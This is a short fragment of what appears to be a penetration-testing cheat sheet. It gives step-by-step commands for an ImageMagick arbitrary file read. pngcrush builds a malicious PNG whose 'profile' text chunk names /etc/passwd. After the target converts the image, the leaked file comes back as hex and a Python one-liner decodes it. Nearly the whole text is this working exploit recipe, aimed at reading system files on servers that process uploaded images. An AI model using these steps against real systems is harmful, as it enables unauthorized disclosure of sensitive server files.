|
|
apt-get install pngcrush imagemagick exiftool exiv2 -y
|
||
|
|
pngcrush -text a "profile" "/etc/passwd" exploit.png

|
* Download the converted picture and inspect its content with: `identify -verbose pngconverted.png`
|
||
|

* Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'`
